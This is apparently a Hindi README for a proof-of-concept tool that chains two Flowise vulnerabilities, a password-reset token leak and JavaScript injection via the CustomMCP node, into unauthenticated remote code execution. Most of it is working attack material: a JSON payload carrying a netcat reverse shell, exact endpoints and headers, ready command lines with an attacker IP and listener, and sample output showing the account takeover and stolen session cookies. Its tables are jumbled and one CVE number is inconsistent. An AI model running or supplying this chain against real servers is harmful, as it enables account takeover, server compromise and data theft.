
CVE-2025-28434 और CVE-2025-59528 के लिए संयुक्त PoC
⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए।
इस टूल को उन सिस्टमों के विरुद्ध चलाना जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।
यह रिपॉजिटरी Flowise में पाई गई दो गंभीर कमजोरियों को एक एकल, मॉड्यूलर PoC टूल में संयोजित करती है।
दोनों कमजोरियाँ स्वाभाविक रूप से श्रृंखलाबद्ध होती हैं: CVE-2025-58434 बिना प्रमाणीकरण के खाता अधिग्रहण प्रदान करती है, जो CVE-2025-59528 की प्रमाणीकरण आवश्यकता को पूरा करती है — एक ही स्वचालित रन में बिना प्रमाणीकरण के RCE प्राप्त करती है।
मूल कारण: forgot-password एंडपॉइंट पासवर्ड रीसेट टोकन (tempToken) को केवल ईमेल के माध्यम से भेजने के बजाय सीधे HTTP प्रतिक्रिया बॉडी में लौटाता है।
आक्रमण चरण:
POST /api/v1/account/forgot-passwordtempToken पढ़ें — ईमेल एक्सेस की आवश्यकता नहींPOST /api/v1/account/reset-password → नया पासवर्ड सेट करेंलीक हुई प्रतिक्रिया (संक्षिप्त):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
मूल कारण: CustomMCP नोड उपयोगकर्ता द्वारा प्रदत्त mcpServerConfig को बिना किसी सैनिटाइज़ेशन के सीधे JavaScript के Function() कंस्ट्रक्टर में पास करता है। चूँकि Flowise Node.js पर चलता है, इंजेक्ट किया गया कोड child_process, fs, और सभी Node.js बिल्ट-इन तक पूर्ण पहुँच रखता है।
कमजोर कोड पथ:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unsanitized user input
आवश्यक हेडर:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
डिफ़ॉल्ट इंजेक्शन पेलोड (रिवर्स शेल):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
नोट: रिवर्स शेल पेलोड
cp.exec()(एसिंक्रोनस / फायर-एंड-फॉरगेट) का उपयोग करते हैं, जिससे HTTP अनुरोध तुरंत लौट आता है और टूल टाइमआउट नहीं करता। सामान्य कमांडcp.execSync()का उपयोग करते हैं और आउटपुट इनलाइन लौटाते हैं।
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| घटक | स्थिति |
|---|---|
Flowise क्लाउड (cloud.flowiseai.com) | CVE-2025-58434 से प्रभावित |
| Flowise स्व-होस्टेड (पैच से पहले के सभी संस्करण) | दोनों CVE से प्रभावित |
पैच किए गए रिलीज़ नंबरों के लिए आधिकारिक Flowise सुरक्षा सलाह देखें।
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
requests लाइब्रेरीgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
किसी मोड फ्लैग की आवश्यकता नहीं है। यदि आप स्क्रिप्ट को --chain या --module के बिना चलाते हैं, तो यह स्वचालित रूप से पूर्ण चेन मोड में चलती है। डिफ़ॉल्ट RCE पेलोड एक रिवर्स शेल है — बस --lhost और --lport प्रदान करें।
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
चलाने से पहले अपना लिसनर प्रारंभ करें:
nc -lvnp 4444
python3 flowise_poc.py -h
सभी चार चरणों को एंड-टू-एंड चलाता है: टोकन लीक करें → पासवर्ड रीसेट करें → लॉगिन करें → RCE।
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
tempToken लीक करें और खाते का पासवर्ड रीसेट करें। लॉगिन/RCE से पहले रुक जाता है।
# Default new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Custom new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# Print raw JSON response
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
प्रमाणित करें और मैन्युअल उपयोग के लिए तीन सत्र कुकीज़ निकालें।
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# JSON output for scripting
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
सर्वर पर निष्पादित करें। यदि --token नहीं दिया गया है तो स्वतः लॉगिन करता है।
# Reverse shell — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Custom command — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# Manual token — reverse shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# All three cookies manually
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain है)| फ्लैग | विवरण |
|---|---|
--chain | पूर्ण श्रृंखला: ATO → लॉगिन → RCE |
--module ato | केवल खाता अधिग्रहण |
--module login |
| फ्लैग | शॉर्ट | विवरण | आवश्यक |
|---|---|---|---|
--url | -u | Flowise इंस्टेंस का बेस URL |
| फ्लैग | शॉर्ट | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
--new-password | -p | ATO के बाद पीड़ित खाते पर सेट किया गया पासवर्ड | Flowise@Pwn3d2025! |
| फ्लैग | शॉर्ट | विवरण | डिफ़ॉल्ट |
|---|
स्क्रिप्ट स्वचालित रूप से सही निष्पादन मोड चुनती है:
एसिंक्रोनस निष्पादन का अर्थ है कि HTTP अनुरोध तुरंत पूरा हो जाता है — रिवर्स शेल पेलोड पर कोई टाइमआउट त्रुटि नहीं होती।
[Step 1] [CVE-2025-58434] Requesting forgot-password token ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
LEAKED ACCOUNT DATA
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABLE — token disclosed without authentication!
[Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Password reset SUCCESSFUL (tempToken cleared)
[+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!
[Step 3] [Auth] Logging in to extract session cookies ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
EXTRACTED SESSION COOKIES
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE RESULT
────────────────────────────────────────────────────────────────────
Mode : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Reverse shell payload fired!
[!] Waiting for connection on 10.10.16.35:4444 ...
[!] Make sure your listener is running: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CHAIN COMPLETE
tempToken को केवल पंजीकृत ईमेल के माध्यम से भेजें।forgot-password एंडपॉइंट पर रेट-लिमिट लागू करें।Function(), eval(), या vm.runInThisContext() में कभी न पास करें।mcpServerConfig को केवल डेटा के रूप में पार्स करें (जैसे, JSON.parse()) — इसे कभी निष्पादित न करें।| दिनांक | घटना |
|---|---|
| 2025-08-19 | CVE-2025-58434 खोजा गया और रिपोर्ट किया गया |
| TBD | CVE-2025-59528 खोजा गया और रिपोर्ट किया गया |
| TBD |
केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण के लिए।
पूर्ण कानूनी सूचना के लिए DISCLAIMER.md देखें।
| CVE-2025-58434 | CVE-2025-59528 |
|---|
| प्रकार | खाता अधिग्रहण | रिमोट कोड निष्पादन |
| प्रमाणीकरण आवश्यक | नहीं | हाँ (कोई भी मान्य खाता) |
| CVSS | 9.8 गंभीर | गंभीर |
| प्रभावित | क्लाउड + स्व-होस्टेड | स्व-होस्टेड |
| केवल लॉगिन और कुकीज़ निकालना |
--module rce | केवल RCE |
| हमेशा |
--email | -e | लक्ष्य / लॉगिन ईमेल | हमेशा |
| फ्लैग | शॉर्ट | विवरण |
|---|
--login-password | -P | लॉगिन मॉड्यूल / RCE ऑटो-लॉगिन के लिए पासवर्ड |
--token | — | मैन्युअल रूप से token कुकी प्रदान करें (लॉगिन छोड़ देता है) |
--refresh-token | — | मैन्युअल रूप से refreshToken कुकी प्रदान करें |
--connect-sid | — | मैन्युअल रूप से connect.sid कुकी प्रदान करें |
| फ्लैग | शॉर्ट | विवरण | डिफ़ॉल्ट |
|---|
--lhost | — | रिवर्स शेल के लिए आक्रमणकर्ता IP | — |
--lport | — | रिवर्स शेल के लिए आक्रमणकर्ता पोर्ट | — |
--command | -c | कस्टम OS कमांड (रिवर्स शेल को ओवरराइड करता है) | id यदि lhost/lport नहीं दिया गया |
--timeout | -t | HTTP टाइमआउट (सेकंड) | 15 |
--json-output | -j | कच्ची JSON प्रतिक्रियाएँ प्रिंट करें | false |
| परिदृश्य | उपयोग किया गया पेलोड | HTTP व्यवहार |
|---|
--lhost + --lport (-c के बिना) | mkfifo netcat वन-लाइनर | cp.exec() — एसिंक्रोनस, तुरंत लौटता है |
-c "..." जिसमें nc/mkfifo/bash -i हो | रिवर्स शेल के रूप में पहचाना गया | cp.exec() — एसिंक्रोनस, तुरंत लौटता है |
-c "id" या कोई अन्य सामान्य कमांड | उपयोगकर्ता कमांड | cp.execSync() — ब्लॉक करता है, आउटपुट लौटाता है |
न तो -c, न --lhost | id | cp.execSync() — ब्लॉक करता है, आउटपुट लौटाता है |
| विक्रेता द्वारा स्वीकृति |
| TBD | पैच जारी किया गया |
| TBD | सार्वजनिक प्रकटीकरण |